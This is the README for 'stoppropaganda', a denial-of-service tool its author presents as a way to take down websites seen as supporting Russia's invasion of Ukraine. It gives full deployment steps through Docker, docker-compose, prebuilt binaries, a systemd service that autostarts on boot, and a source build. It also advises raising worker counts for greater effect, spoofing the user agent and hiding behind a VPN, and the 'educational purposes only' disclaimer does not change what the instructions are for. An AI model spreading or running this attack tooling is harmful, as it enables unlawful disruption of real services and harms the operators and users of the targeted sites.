Russia has invaded Ukraine and committed various war crimes. Russian media denies any of its attacks on civilian as well as denies any Russian troops casualties. According to them, they are doing this "special operation" to protect Ukrainians from...Ukraine.
Mykhailo Federov (Vice Prime Minister and Minister of Digital Transformation of Ukraine) has shared this twitter post encouraging cyber attack on certain targets via Telegram group. This will be primary source of the target websites for this application.
Some foreign media and even countries (e.g. Belarus) publicly support Russian aggression towards Ukraine, therefore I created this simple DOS application that targets certain websites/endpoints in order to take them down or significantly distrupt their services.
DISCLAIMER: (D)DOS'ing is illegal! Usage of this tool is intended for educational purposes only.
Easiest way is to use Docker:
docker run --name stoppropaganda -d --ulimit nofile=128000:128000 -p "8049:8049/tcp" erikmnkl/stoppropaganda
Update to latest version
docker kill stoppropaganda
docker rm stoppropaganda
docker pull erikmnkl/stoppropaganda
# run it again
docker run --name stoppropaganda -d --ulimit nofile=128000:128000 -p "8049:8049/tcp" erikmnkl/stoppropaganda
Use environment variables to change settings (for example --env SP_WORKERS=50
) to change configuration. Available environment variables (and their defaults):
SP_BIND=":8049"
SP_WORKERS="20"
SP_TIMEOUT="10s"
SP_USERAGENT="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36"
You can also use docker-compose
:
version: '3'
services:
stoppropaganda:
image: erikmnkl/stoppropaganda
container_name: stoppropaganda
restart: unless-stopped
ports:
- "8049:8049/tcp"
environment:
SP_BIND: ":8049"
SP_WORKERS: "20"
SP_TIMEOUT: "10s"
SP_USERAGENT: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36"
ulimits:
nofile:
soft: 128000
hard: 128000
NOTE: SP_WORKERS
means workers per website, not in total. For example, 5 websites * 20 workers = 100 workers in total.
Then you can see status in this URL: http://<ip>:8049/status
Download binary from releases.
Use from terminal:
# (Linux only) Increase open files limit for current terminal session
ulimit -n 128000
# Show help
$ ./stoppropaganda_v0.0.1_linux_x86_64 --help
# Use with defaults
./stoppropaganda_v0.0.1_linux_x86_64
# Use with increased workers count (you might experience "too many open files" error on some systems)
./stoppropaganda_v0.0.1_linux_x86_64 --workers 50
Then open in your browser to see the status: http://127.0.0.1:8049/status
You might want to create SystemD script (Linux only) to autostart this on boot. Create /etc/systemd/system/stoppropaganda.service
with below contents:
[Unit]
Description=Stoppropaganda service
After=network-online.target
[Service]
LimitAS=infinity
LimitRSS=infinity
LimitCORE=infinity
LimitNOFILE=128000
ExecStart=/path/to/binary --workers 50
Restart=always
RestartSec=3
[Install]
WantedBy=multi-user.target
Then systemctl daemon-reload && systemctl enable --now stoppropaganda.service
. To stop, use systemctl stop stoppropaganda.service
.
Uninstall any existing Golang installations if you installed from official Linux repos. They are usually outdated and might not work at all.
Download and install Golang using these instructions. Validate if Golang binary works:
$ go version
go version go1.17.7 linux/amd64
Download this repo:
git clone https://github.com/erkexzcx/stoppropaganda.git
cd stoppropaganda
Now you have 2 options to run this application:
# (Linux only) Increase open files limit for current terminal session
ulimit -n 128000
# Run without compiling to binary
go run stoppropaganda.go --help
# Build binary and run it
go build -o stoppropaganda stoppropaganda.go
./stoppropaganda --help
You can also build for other architectures/platforms as well, see build.sh
file.
- Increase
workers
count from 20 (default) to e.g. 100 for greater effect, but check the logs if you are not gettingtoo many open files
. If so, see this. - Change
useragent
to yours. See this. - General recommendation is to use VPN, but this is not necessary. Remember - DOS/DDOS is illegal.
This application was inspired by the following projects: